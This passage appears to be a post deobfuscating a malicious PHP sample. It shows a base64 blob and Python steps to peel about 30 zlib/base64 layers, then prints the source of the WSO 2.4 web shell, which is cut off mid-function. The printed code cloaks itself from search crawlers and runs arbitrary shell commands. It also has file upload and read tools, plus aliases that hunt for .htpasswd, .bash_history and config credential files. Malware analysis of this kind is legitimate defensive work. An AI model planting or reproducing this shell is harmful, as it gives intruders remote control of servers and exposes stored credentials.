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')));"
  18.  
  19.  
  20. Now just
  21. a = c
  22. c = zlib.decompress(base64.b64decode(a[30:-5]), -15)
  23.  
  24. For about 30 layers until you get to the WSO shell:
  25. >>> c
  26. '$auth_pass = "161d5cb337dbe280deec4224cc0469bd";\r\n$color = "#fb5";\r\n$default_action = \'FilesMan\';\r\n$default_use_ajax = true;\r\n$default_charset = \'Windows-1251\';\r\n\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n header(\'HTTP/1.0 404 Not Found\');\r\n exit;\r\n }\r\n}\r\n\r\n@session_start();\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\n@set_magic_quotes_runtime(0);\r\n@define(\'WSO_VERSION\', \'2.4\');\r\n\r\n\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction WSOstripslashes($array) {\r\n\t\treturn is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = WSOstripslashes($_POST);\r\n}\r\n\r\nif( isset($_GET[\'search\']) )\r\n\tdie(\'06a943c59f33a34bb5924aaf72cd2995\');\r\n\r\nfunction wsoLogin($msg=\'\') {\r\n\tdie("<form method=post>search <input type=text name=\\"query\\"><input type=\\"submit\\"></form>" . $msg);\r\n}\r\nif(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]))\r\n\tif( empty($auth_pass) || ( isset($_POST[\'query\']) && (md5(md5($_POST[\'query\'])) == $auth_pass) ) )\r\n\t\t$_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;\r\n\telse if( isset($_POST[\'query\']) && trim($_POST[\'query\']) != \'\' )\r\n\t\twsoLogin(\'not found\');\r\n\telse\r\n\t\twsoLogin();\r\n\r\n\r\n\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n\r\n\r\n\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n error_reporting(0);\r\n\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\n\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n\r\n$cwd = @getcwd();\r\n\r\n\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\n\r\nif( $cwd[strlen($cwd)-1] != \'/\' )\r\n\t$cwd .= \'/\';\r\n\r\nif(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n $_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$GLOBALS[\'default_use_ajax\'];\r\n\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n \t"Show active connections" => "netstat -an",\r\n \t"Show running services" => "net start",\r\n \t"User accounts" => "net user",\r\n \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\n\r\nfunction wsoHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\r\n\tglobal $color;\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . WSO_VERSION ."</title>\r\n<style>\r\nbody{background-color:#222;color:#e1e1e1;}\r\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#fff; }\r\ntable.info{ color:#fff;background-color:#222; }\r\nspan,h1,a{ color: $color !important; }\r\nspan{ font-weight: bolder; }\r\nh1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\r\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\r\na{ text-decoration:none; }\r\na:hover{ text-decoration:underline; }\r\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\r\n.bigarea{ width:100%;height:250px; }\r\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,\'Courier New\'; }\r\nform{ margin:0px; }\r\n#toolsTbl{ text-align:center; }\r\n.toolsInp{ width: 300px }\r\n.main th{text-align:left;background-color:#5e5e5e;}\r\n.main tr:hover{background-color:#5e5e5e}\r\n.l1{background-color:#444}\r\n.l2{background-color:#333}\r\npre{font-family:Courier,Monospace;}\r\n</style>\r\n<script>\r\n var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n var d = document;\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n if (req) {\r\n req.onreadystatechange = processReqChange;\r\n req.open(\'POST\', url, true);\r\n req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n req.send(params);\r\n }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'http://exploit-db.com/list.php?description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\r\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $item)\r\n\t\t$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';\r\n\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'auth_pass\']))\r\n\t\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n\r\n\t$drives = "";\r\n\tif($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif(is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'\r\n . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' <a href="\' . $explink . \'" target=_blank>[exploit-db.com]</a></nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#00bb00><b>OFF</b></font>\')\r\n . \' <a href=# onclick="g(\\\'Php\\\',null,\\\'\\\',\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\' . $drives . \'</td>\'\r\n . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'\r\n . \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';\r\n}\r\n\r\nfunction wsoFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#25ff00\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";\r\n echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\'g(null,this.c.value,\\"\\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>\r\n\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value);return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>\r\n\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"g(\'Console\',null,this.c.value);return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'netstat -n|grep :80|wc -l\'><input type=submit value=\'>>\'></form></td>\r\n\t\t<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMAn\'>\r\n\t\t<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br ></td>\r\n\t</tr></table></div></body></html>";\r\n}\r\n\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\r\n function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\r\n function posix_getgrgid($p) {return false;} }\r\n\r\nfunction wsoEx($in) {\r\n\t$out = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$out);\r\n\t\t$out = @join("\\n",$out);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$out = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$out = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$out = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$out = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$out .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}\r\n\treturn $out;\r\n}\r\nfunction wsoViewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\n\r\nfunction wsoPerms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' 